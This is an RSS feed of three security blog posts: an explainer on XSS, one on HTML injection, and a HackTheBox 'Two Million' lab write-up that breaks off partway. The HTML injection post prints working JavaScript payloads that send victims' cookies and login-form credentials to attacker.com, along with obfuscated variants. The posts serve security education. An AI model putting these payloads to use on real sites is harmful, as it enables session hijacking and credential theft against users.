<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xv37r1x3r on Medium]]></title>
        <description><![CDATA[Stories by 0xv37r1x3r on Medium]]></description>
        <link>https://medium.com/@0xv37r1x3r?source=rss-c6125e0c1edd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZL9VOVd4xj1UwY9dm6zdUg.png</url>
            <title>Stories by 0xv37r1x3r on Medium</title>
            <link>https://medium.com/@0xv37r1x3r?source=rss-c6125e0c1edd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 17:24:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xv37r1x3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unveiling the Invisible Threat: Exploring XSS Vulnerabilities]]></title>
            <link>https://0xv37r1x3r.medium.com/unveiling-the-invisible-threat-exploring-xss-vulnerabilities-7a8d9a90ce69?source=rss-c6125e0c1edd------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a8d9a90ce69</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[defense]]></category>
            <category><![CDATA[oswap]]></category>
            <dc:creator><![CDATA[0xv37r1x3r]]></dc:creator>
            <pubDate>Tue, 04 Jul 2023 17:06:23 GMT</pubDate>
            <atom:updated>2023-07-04T17:06:59.284Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QaV_QxuWTlhNLPIDM6v3hQ.png" /></figure><p>This picture was drawn by me :D I hope you like it!</p><h3>What is XSS?</h3><p>Cross Site Scripting (XSS) is a web application vulnerability that allows an attacker to compromise the interaction that users have with a vulnerable web application. It allows attackers to bypass the security measures put in by the developers to avoid the XSS attack.</p><p>XSS vulnerabilities enable malicious actors or attackers to inject malicious code (client-side scripts) into web pages viewed by users. Once executed on the user’s browser, this code could then perform actions such as changing the behaviour or appearance of the website, stealing sensitive data, performing actions on behalf of the user, and more.</p><p>The root cause of XSS vulnerability arises from the failure to properly validate user input before processing, allowing the client-side script (commonly JavaScript) to be injected in a manner that will enable it to execute. Therefore, your application is at risk of XSS vulnerability wherever it handles user input.</p><h3>How does XSS Work?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QaV_QxuWTlhNLPIDM6v3hQ.png" /></figure><p>Cross-site scripting works by manipulating a vulnerable website so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.</p><p>When a web application is vulnerable to this type of attack, it will pass invalidated input; sent through requests, back to the client(or user). The common methodology of the attack includes a design step in which the attacker creates and tests the malicious URL, a social engineering step in which the attacker convinces the victims to load the URL on their browsers, and then the execution of the malicious code using the victim’s browser.</p><p>Commonly the attacker’s code is written in the JavaScript language, but other scripting languages are also used, e.g., ActionScript, VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).</p><h3>Types of XSS?</h3><p>There are three main types of XSS attacks. These are:</p><ol><li><strong>Reflected XSS</strong></li><li><strong>Stored XSS</strong></li><li><strong>DOM-based XSS</strong></li></ol><h4>Reflected XSS</h4><p>Non-persistent (reflected) XSS is the most common type of cross-site scripting. Just as the name implies, reflected XSS occurs when the injected malicious script results show up or are immediately reflected by the user without adequately sanitizing the content.</p><ul><li>Here is a simple example of a reflected XSS vulnerability:</li></ul><pre>URL: https://example.com/status?message=yuma<br>Response: &lt;p&gt;Status: yuma&lt;/p&gt;</pre><ul><li>The application doesn’t perform any other processing of the data, so an attacker can easily construct an attack like this:</li></ul><pre>URL: https://example.com/status?message=&lt;script&gt;/*+AAA+Yuma+*/&lt;/script&gt;<br>Response: &lt;p&gt;Status: &lt;script&gt;/* AAA Yuma */&lt;/script&gt;&lt;/p&gt;</pre><p>If the user visits the URL constructed by the attacker, then the attacker’s script executes in the user’s browser, in the context of that user’s session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.</p><h4>Stored XSS</h4><p>Stored XSS is also known as persistent or second-order XSS. This is a more devastating variant of a cross-site scripting flaw. It occurs when the data provided by the attacker is saved by the server at the database and then permanently displayed on “normal” pages to the other users in the course of regular browsing, without proper HTML escaping.</p><p>The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or user details on a user profile. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, or a marketing application displaying social media posts.</p><ul><li>Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:</li></ul><pre>&lt;p&gt;UwU Everyone&lt;/p&gt;</pre><ul><li>The application doesn’t perform any other processing or sanitizing of the data before displaying it to the user, so an attacker can easily send a message that attacks other users:</li></ul><pre>&lt;p&gt;&lt;script&gt;/* OwO */&lt;/script&gt;&lt;/p&gt;</pre><h4>DOM-based XSS</h4><p>DOM XSS occurs when the injected malicious code does not get to the web server. Instead, it is reflected by client-side JavaScript code on the client-side.</p><p>DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users’ accounts.</p><p>To deliver a DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes the execution of arbitrary JavaScript.</p><p>In the following example, an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML:</p><pre>var search = document.getElementById(&#39;search&#39;).value;<br>var results = document.getElementById(&#39;results&#39;);<br>results.innerHTML = &#39;You searched for:&#39; + search;</pre><p>If the attacker can control the value of the input field, they can easily construct a malicious value that causes their own script to execute:</p><ul><li>You searched for:</li></ul><pre>&lt;img src=1 onerror=’/* AAAAA */’&gt; </pre><p>In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.</p><p><strong>To summarize all three types:</strong></p><ul><li><strong>Reflected XSS</strong>, where the malicious script comes from the current HTTP request.</li><li><strong>Stored XSS</strong>, where the malicious script comes from the website’s database.</li><li><strong>DOM-based XSS</strong>, where the vulnerability exists in client-side code rather than server-side code.</li></ul><h3>Discovery of XSS</h3><p>There are many process for finding and testing XSS but the most grounded method (according to me) is manual testing and the best way to do manual testing is reviewing/ understanding the code, So in this blog we will be looking at the manual testing for reflected, stored and Dom based XSS.</p><p>Manually testing for reflected and stored XSS normally involves submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application, identifying every location where the submitted input is returned in HTTP responses, and testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript. In this way, you can determine the context in which the XSS occurs and select a suitable payload to exploit it.</p><p>Manually testing for DOM-based XSS arising from URL parameters involves a similar process; placing some simple unique input in the parameter, using the browser’s developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable. However, other types of DOM XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based input (such as document.cookie) or non-HTML-based sinks (like setTimeout()), there is no substitute for reviewing JavaScript code.</p><p>&gt; Refer to these articles:</p><ul><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting">https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting">https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting">https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting</a></li></ul><h3>What is the impact of XSS?</h3><p>The actual impact of an XSS attack generally depends on the nature of the application, its functionality, how it process it’s data, and the status of the compromised user. For example:</p><ul><li>In an application where all users are anonymous and all information is public, the impact will often be minimal.<br>In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious.</li><li>If the compromised user has elevated privileges within the application and gained the admin or root access, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.</li><li>If successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device.</li><li>The consequence of an XSS attack is the same regardless of whether it is reflected, stored or DOM Based. The difference is in how the payload arrives/ processed at the server. Do not be fooled into thinking that a “read-only” or “brochure ware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise.</li><li>The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs or keyloggers, redirecting the user to some other page or site, or modifying presentation of content and even do a phishing attack. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose, this is just an example and the outcomes are infinite and can be more evil and severe.</li></ul><h3>XSS Prevention</h3><p>Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.</p><p>Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.</p><p><strong>Commonly used main prevention methods include:</strong></p><ol><li><strong>Data validation</strong></li><li><strong>Filtering</strong></li><li><strong>Escaping</strong></li></ol><p>The first step in the prevention of this attack is <strong>Input/Data validation</strong>. Everything, that is entered by the user should be precisely validated. Data validation can be named as the basis for ensuring the system’s security. I would remind, you that the idea of validation is not to allow inappropriate input. Therefore it just helps to reduce the risks, but may not be enough to prevent the possible XSS vulnerability.</p><p>Another good prevention method is user <strong>input filtering</strong>. The idea of the filtering is to search for risky keywords in the user’s input and remove them or replace them with empty strings.<br><strong>Those keywords may be:</strong></p><ul><li>&lt;script&gt;&lt;/script&gt; tags</li><li>JavaScript commands</li><li>HTML Markup</li><li>URL Encoded JavaScript or HTML</li></ul><p>Input filtering is quite easy to practice. It can be performed in different ways too like by developers who have written server-side code.</p><p>An appropriate programming language library is being used.<br>In this case, some developers write their own code to search for appropriate keywords and remove them. However, the easier way would be to select an appropriate programming languages library to filter the user’s input.</p><p>Another possible prevention method is <strong>characters escaping</strong>. In this practice, appropriate characters are being changed by special codes. <strong>For Example</strong>, ‘&lt;’ <a href="https://mateam.net/html-escape-characters/">escaped character</a> may look like &amp;#60. It is important to know, that we can find appropriate libraries to escape the characters.</p><p>Meanwhile, good testing should not be forgotten as well. It should be invested in good software testers’ knowledge and reliable software testing tools. This way good software quality will be better assured.</p><p>Thanks for reading this article, I hope you learnt something interesting as well as useful to look out for. If you would like to see more of these articles give a clap :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a8d9a90ce69" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTML Injection: What is this vulnerability ?]]></title>
            <link>https://0xv37r1x3r.medium.com/html-injection-what-is-this-vulnerability-5bb699e042e7?source=rss-c6125e0c1edd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bb699e042e7</guid>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <category><![CDATA[payload]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xv37r1x3r]]></dc:creator>
            <pubDate>Wed, 21 Jun 2023 13:19:55 GMT</pubDate>
            <atom:updated>2023-06-21T13:19:55.447Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTML Injection: What is this vulnerability ?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*nG5ucf4pwGT4iGNU" /></figure><h3>What is HTML Injection?</h3><p>HTML injection is a type of attack where an attacker exploits vulnerabilities in a website by injecting HTML code. The intention is to manipulate the website’s design or alter the information displayed to users. The attacker sends HTML code through vulnerable fields, which can result in the user seeing the injected data. Essentially, HTML injection involves injecting markup language code into a web page’s document.</p><p>The data sent during this type of attack can vary. It could be a few HTML tags that display the injected information or even a complete fake form or page. When this attack occurs, the browser often treats the malicious data as legitimate and renders it accordingly.</p><p>It’s important to note that the risks of HTML injection go beyond changing a website’s appearance. This type of attack is similar to cross-site scripting (XSS), where an attacker can steal someone else’s identity. Therefore, identity theft can also occur as a consequence of HTML injection.</p><h3>Types of HTML Injection</h3><p>The attack itself may appear straightforward due to the simplicity of HTML, but there are various methods and types of HTML injection attacks. These attacks can be classified based on the risks they pose. Here are some common types:</p><ul><li><strong>Reflected HTML Injection</strong></li><li><strong>Stored HTML Injection</strong></li><li><strong>DOM-based HTML Injection</strong></li><li><strong>Blind HTML Injection</strong></li><li><strong>Advanced HTML Injection Techniques</strong></li></ul><h4>Reflected HTML Injection</h4><p>In this type, the injected HTML code is reflected back to the user without being stored permanently on the server. It typically occurs through URL parameters or form inputs that are directly echoed back in the response. The risk lies in tricking users into executing malicious code or revealing sensitive information.</p><p>Here are a few examples of payloads used in Reflected HTML Injection attacks:</p><pre>http://www.example.com/search?query=&lt;html&gt;&lt;script&gt;alert(&#39;Vulnerable to HTML Injection!&#39;);&lt;/script&gt;&lt;/html&gt;</pre><p>In this example, the payload is injected into the “query” parameter of the search page URL. When the user performs the search, the injected code is reflected back in the response, resulting in a pop-up alert displaying the message “Vulnerable to HTML Injection!”.</p><h4>Stored HTML Injection</h4><p>Also known as persistent HTML injection, this attack involves injecting HTML code that is stored permanently on the server. The injected code is then displayed to multiple users when they access the affected page. It can lead to widespread exploitation and impact the reputation of the website.</p><p>The payload for a stored HTML injection typically consists of malicious HTML or JavaScript code that is embedded within user-generated content, such as comments, forum posts, or user profiles. When the vulnerable page retrieves and displays this content, the injected code is executed in the context of the victim’s browser, potentially leading to various malicious activities.</p><p>Here’s an example payload for a stored HTML injection:</p><pre>&lt;script&gt;<br>  // Malicious code to steal user cookies<br>  const attackerUrl = &#39;http://attacker.com/collect.php&#39;;<br>  const img = new Image();<br>  img.src = `${attackerUrl}?cookie=${document.cookie}`;<br>&lt;/script&gt;</pre><p>In this payload, an attacker embeds a script tag within user-generated content. The script creates a new image element and sets its source to an attacker-controlled URL. The script then appends the user’s cookies as a parameter in the URL. When the page loads and renders the user-generated content, the image’s source is fetched, effectively sending the victim’s cookies to the attacker’s server. The attacker can then use these stolen cookies to impersonate the victim or perform other malicious actions.</p><p>This is just one example of a payload; the actual payload can vary based on the attacker’s objectives. The impact of a successful stored HTML injection attack can include session hijacking, defacement of web pages, stealing sensitive user information, spreading malware, or launching phishing attacks.</p><p>Preventing stored HTML injection requires implementing proper input validation and output encoding techniques. Web developers should sanitize user-generated content and validate it against a whitelist of allowed characters and HTML tags. Additionally, output encoding should be used when displaying user-generated content to ensure that any special characters are properly encoded and rendered as plain text rather than interpreted as HTML or JavaScript.</p><h4>DOM-based HTML Injection</h4><p>DOM (Document Object Model) is a programming interface for HTML and XML documents. In this type of attack, the injected code manipulates the DOM dynamically within the user’s browser, altering the webpage’s structure and behaviour. It can lead to various consequences such as unauthorized actions or data leakage.</p><p>Here’s an example payload for a DOM-based HTML injection:</p><pre>// Assuming there is a vulnerable input field with the id &#39;message&#39;<br>const userInput = document.getElementById(&#39;message&#39;).value;<br><br>// Attacker-controlled input causing DOM-based XSS<br>const payload = &#39;&lt;img src=&quot;http://attacker.com/steal?cookie=&#39; + document.cookie + &#39;&quot;&gt;&#39;;<br><br>// Dynamically update the DOM with the user input<br>document.getElementById(&#39;output&#39;).innerHTML = userInput;<br><br>// Append the payload to the DOM<br>document.getElementById(&#39;output&#39;).innerHTML += payload;</pre><p>In this payload example, there is an input field with the id ‘message’, which is vulnerable to DOM-based HTML. The attacker-controlled payload consists of an image tag that points to an attacker-controlled URL. It appends the victim’s cookie as a parameter in the URL. The payload is then added to the DOM by updating the innerHTMLof an element with the id ‘output’.</p><p>When a user interacts with the vulnerable input field and submits the form or triggers a specific event, the payload is executed within the victim’s browser. The image is loaded from the attacker’s server, which collects the victim’s cookie information, enabling the attacker to potentially perform session hijacking or other malicious activities.</p><p>Preventing DOM-based HTML injection requires a combination of secure coding practices and input validation.</p><ol><li>Input validation: Validate and sanitize any user input before using it in DOM manipulation to ensure it does not contain malicious code or unexpected characters.</li><li>Contextual output encoding: When dynamically adding user input to the DOM, use appropriate encoding mechanisms based on the context. For example, use textContentinstead of innerHTMLto insert plain text or sanitize user input using a library that escapes HTML characters.</li><li>Strict Content Security Policy (CSP): Implement a strict CSP that restricts the execution of inline scripts and limits the sources from which scripts can be loaded, reducing the risk of code injection.</li><li>Regular security updates: Keep web browsers and client-side libraries up to date to benefit from the latest security patches and protections against DOM-based HTML.</li></ol><h4>Blind HTML Injection</h4><p>This type of attack is characterized by the absence of immediate feedback or visible effects of the injected code. The attacker doesn’t directly observe the results but expects them to affect other users or the system itself.</p><p>The payload for blind HTML injection typically aims to exploit the vulnerable application by injecting code that sends data to the attacker’s controlled server or performs other actions that are not immediately visible to the attacker. Here’s an example payload for blind HTML injection:</p><pre>&lt;img src=&quot;http://attacker.com/collect.php?data=&lt;script&gt;<br>  // Malicious code to steal user credentials<br>  const victimForm = document.getElementById(&#39;loginForm&#39;);<br>  const username = victimForm.username.value;<br>  const password = victimForm.password.value;<br><br>  // Send stolen credentials to the attacker&#39;s server<br>  const xhr = new XMLHttpRequest();<br>  xhr.open(&#39;GET&#39;, &#39;http://attacker.com/steal?username=&#39; + encodeURIComponent(username) + &#39;&amp;password=&#39; + encodeURIComponent(password));<br>  xhr.send();<br>&lt;/script&gt;&quot;&gt;</pre><p>In this example, the payload is injected within an image tag’s source attribute. The injected code targets a login form with HTML elements having ‘username’ and ‘password’ IDs. When the vulnerable page loads and renders the injected image, the JavaScript code within the payload is executed in the victim’s browser context. It steals the username and password values from the login form and sends them as parameters in a GET request to the attacker’s controlled server.</p><p>The attacker’s server can collect the stolen credentials for further exploitation or unauthorized access to user accounts. Since the attacker cannot directly observe the results, they might rely on other techniques to confirm the successful execution of the payload, such as checking server logs or attempting to use the stolen credentials.</p><h4>Advanced HTML Injection Techniques</h4><p>Attackers may employ advanced techniques to evade detection or enhance the impact of their HTML injection attacks. This can include obfuscating the injected code, leveraging specific vulnerabilities in web application frameworks, or combining HTML injection with other attack vectors, such as cross-site scripting (XSS) or SQL injection.</p><p><strong>Obfuscated Payloads</strong></p><p>Attackers can obfuscate their injected code to make it harder to detect and bypass security controls. They may use techniques like character encoding, string concatenation, and code obfuscation tools to obfuscate the payload. For example:</p><pre>var payload = &quot;&amp;#x3c;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3e;alert(&amp;#x22;XSS&amp;#x22;);&amp;#x3c;/&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3e;&quot;;<br>document.getElementById(&quot;output&quot;).innerHTML = unescape(payload);</pre><p><strong>Polyglot Payloads</strong></p><p>Polyglot payloads are malicious code that can be interpreted as multiple languages or file types. Attackers use them to exploit vulnerabilities in different components of a web application. For example, a payload that can be interpreted as both HTML and JavaScript:</p><pre>&lt;script&gt;<br>    var payload = &#39;&lt;img src=&quot;x&quot; onerror=&quot;javascript:alert(\&#39;XSS\&#39;)&quot;&gt;&#39;;<br>    document.getElementById(&quot;output&quot;).innerHTML = payload;<br>&lt;/script&gt;</pre><p><strong>Framework-Specific Exploits</strong></p><p>Attackers may leverage specific vulnerabilities or weaknesses in popular web application frameworks to perform HTML injection attacks. This can include exploiting template injection vulnerabilities, misusing template engines, or manipulating server-side rendering processes. These techniques require in-depth knowledge of the targeted framework.</p><p><strong>HTML Injection with XSS</strong></p><p>Attackers may combine HTML injection with cross-site scripting (XSS) techniques to enhance their attacks. They inject malicious code that, when executed, triggers an XSS vulnerability in the target application. This allows them to execute arbitrary JavaScript code and perform various malicious actions. For example:</p><pre>&lt;img src=&quot;x&quot; onload=&quot;javascript:alert(document.cookie)&quot;&gt;</pre><p><strong>HTML Injection with SQL Injection</strong></p><p>In some cases, attackers may combine HTML injection with SQL injection to perform more advanced attacks. They may inject malicious code that manipulates the underlying database or executes arbitrary SQL queries. This technique can result in data exfiltration, unauthorized access, or further exploitation of the application’s vulnerabilities.</p><blockquote>It’s important for developers and security professionals to stay up-to-date with the latest attack techniques and regularly test web applications for vulnerabilities. Employing secure coding practices, input validation, output encoding, and security testing can help mitigate the risk of advanced HTML injection attacks.</blockquote><p>Thanks for reading, I hope you have understood what HTML Injection is and how it can cause damage.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bb699e042e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Two Million — HackTheBox]]></title>
            <link>https://0xv37r1x3r.medium.com/two-million-hackthebox-6dc375919bec?source=rss-c6125e0c1edd------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dc375919bec</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[0xv37r1x3r]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 18:21:34 GMT</pubDate>
            <atom:updated>2023-06-08T18:21:34.461Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Easy] Two Million — HackTheBox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1H1XnA96097vqtYSOClFrw.png" /></figure><p>Two Million is an easy level box which was released because of the celebration of the 2 million user milestone. This box features the older version of HackTheBox (the version I used when I first joined), it has the old CTF challenge. This box did surprise me with nostalgia from that CTF challenge. After finishing the invite code challenge, this account is used to enumerate and elevate the user to admin. With admin you can preform a cmd injection in the VPN file generation. Then you can fully leverage the shell via enumerating the environment variables file, which can be abused for password reuse. Finally to gain root, the system kernel is found to be outdated which then leads to CVE-2023–0386.</p><blockquote><strong>Note:</strong> This is my first HTB Writeup, I may have made some mistakes, forgive me if so, nevertheless please respect me if this helped you!<br>@V37R1X — <a href="https://app.hackthebox.com/profile/496941">https://app.hackthebox.com/profile/496941</a></blockquote><h3>Enumeration</h3><h4><strong>Nmap scan</strong></h4><p>Ports 22 and 80 are open therefore you can add 2million.htbto /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*fy9D70gffXYihE0gEvxoHg.png" /></figure><h4><strong>Fuzzing Endpoints</strong></h4><p>Fuzzing endpoints helps understand what the website is going to have to discover more interesting endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*zalr5ql_G4I5SvIULPfQNg.png" /></figure><h4>Website</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*QmkEKP6GQRCRex3dR1mS4Q.png" /></figure><p>Skimming through the website we can identify a few things, we will have to solve a challenge to get onto the platform — As any platform should do to test learners.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*LnWf3LCWRqwWyygZg8wlDg.png" /></figure><p>Here we can see that you should solve the entry level challenge which is found on the /inviteendpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*9A5lQDVcfbzOY2vHqKbcUA.png" /></figure><p>This part of the website seems to look like the normal old invite code challenge. Lets investigate the code! Taking a further look into the source code we can identify that the second function of the code shows a POST <br>request towards /api/v1/invite/verify to check if the code is valid or invalid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*J5n84chDlVohvztJuTB4Ww.png" /></figure><p>As well as this code inline script tags, there is another code inside inviteapi.min.js which is loaded within the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*0YpuyKrqejo3V4MoXmSgeA.png" /></figure><p>That code is obfuscated therefore we can deobfuscate the code using online tools like <a href="https://lelinhtinh.github.io/de4js/">de4js</a>.</p><pre>function verifyInviteCode(code) {<br>   var formData = {<br>      &quot;code&quot;: code<br>   };<br>   $.ajax({<br>      type: &quot;POST&quot;,<br>      dataType: &quot;json&quot;,<br>      data: formData,<br>      url: &#39;/api/v1/invite/verify&#39;,<br>      success: function (response) {<br>          console.log(response)<br>      },<br>      error: function (response) {<br>          console.log(response)<br>      }<br>   })<br>}<br><br>function makeInviteCode() {<br>    $.ajax({<br>      type: &quot;POST&quot;,<br>      dataType: &quot;json&quot;,<br>      url: &#39;/api/v1/invite/how/to/generate&#39;,<br>      success: function (response) {<br>          console.log(response)<br>      },<br>      error: function (response) {<br>          console.log(response)<br>      }<br>   })<br>}</pre><p>In this code there are two functions, first one is similar to the last code we saw and the second one is interesting, the endpoints are also interesting. We can make a POST request to that endpoint. Let’s go forth using burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOlfK_hFPJ1t8k6I8izGsQ.png" /></figure><p>This output is basically encrypted via Caesar Cipher (ROT13). The enctype, shows that it is ROT13. This message decrypts as:</p><blockquote>Note: I used CyberChef to decrypt this text.<br>Recipe: <a href="https://cyberchef.org/#recipe=ROT13(true,true,false,13)&amp;input=VmEgYmVxcmUgZ2IgdHJhcmVuZ3IgZ3VyIHZhaXZnciBwYnFyLCB6bnhyIG4gQ0JGRyBlcmRocmZnIGdiIFwvbmN2XC9pMVwvdmFpdmdyXC90cmFyZW5ncg">https://cyberchef.org/#recipe=ROT13(true,true,false,13)&amp;input=VmEgYmVxcmUgZ2IgdHJhcmVuZ3IgZ3VyIHZhaXZnciBwYnFyLCB6bnhyIG4gQ0JGRyBlcmRocmZnIGdiIFwvbmN2XC9pMVwvdmFpdmdyXC90cmFyZW5ncg</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjXuKs7B-G2qmrJroKUTYw.png" /></figure><p>So it is telling us to generate the invite code using that /generate endpoint in the v1 API. Let’s carry on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXM_jBxb404sTBFNbsqxgQ.png" /></figure><p>We get a code, which is encoded in base64</p><blockquote>Note: This is encoded not encrypted, two different words which have different meaning.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*D2ELLH9_tx2dXcnC-qsRTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*DWkD2Uu96bKeuUczBvmYmQ.png" /></figure><p>We have now successfully generated the code to login! We can register as yuma for username and yuma@2million.htb for the email and of course a password. After that is done we get redirected to /register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*OG3cxwhDCvhPdTwkZkvlkA.png" /></figure><p>After logging in sucessfully we get redirected to /home</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*hfwDxGIXahFhvSOCeFYp0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*hMDZSIFODpWE-BSH6WX9lQ.png" /></figure><p>The /access page is very useful due to the fact we can download and regenerate the vpns to use HTB (like we normally do).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVIX6Y4LJNSt2Mt6nuATFg.png" /></figure><p>Clicking on getting the connection pack, we can see it is actually an openvpn file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GebxWA2vXafDEJxvv2WHw.png" /></figure><p>Requesting to /apiwe can read versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NrLxWpo_eTeU4xMI_3SaQ.png" /></figure><p>Requesting towards /api/v1 we can enumerate all endpoints. We can check if we are the adminuser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCs9CltREiA9LM06tZxv5w.png" /></figure><p>Looks like we are not admin, therefore we could switch requests to POST as well as request to the vpn generate endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLBAPmhIhSj9QknqlZ_Zcg.png" /></figure><p>On this we get 401, now lets try the last one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yrwPi50l9SYon_o9IDHNw.png" /></figure><p>We do not get either errors, therefore we can play around/modify with the endpoint. It also says I have the invalid content type, which is correct because I used x-www-form-urlencoded instead of json.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2M6txarW0pipU2pGKEoJA.png" /></figure><p>Now I have changed this, and it is asking for the email parameter, we can modify the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAkLcuoWI0uwnfiAsh9LFA.png" /></figure><p>We are now missing another parameter this time it’s called is_admim . This is what I believe a check to check if you are present as admin. Which normally is a Boolean type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5JOx0WhUwMLEgL5qvuSEg.png" /></figure><p>Although, it is not true, false its 0 or 1 this time. We can modify this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsetdYege83y3-JsM1nHZQ.png" /></figure><p>Now lets check if we are actually admin.</p><figure><img 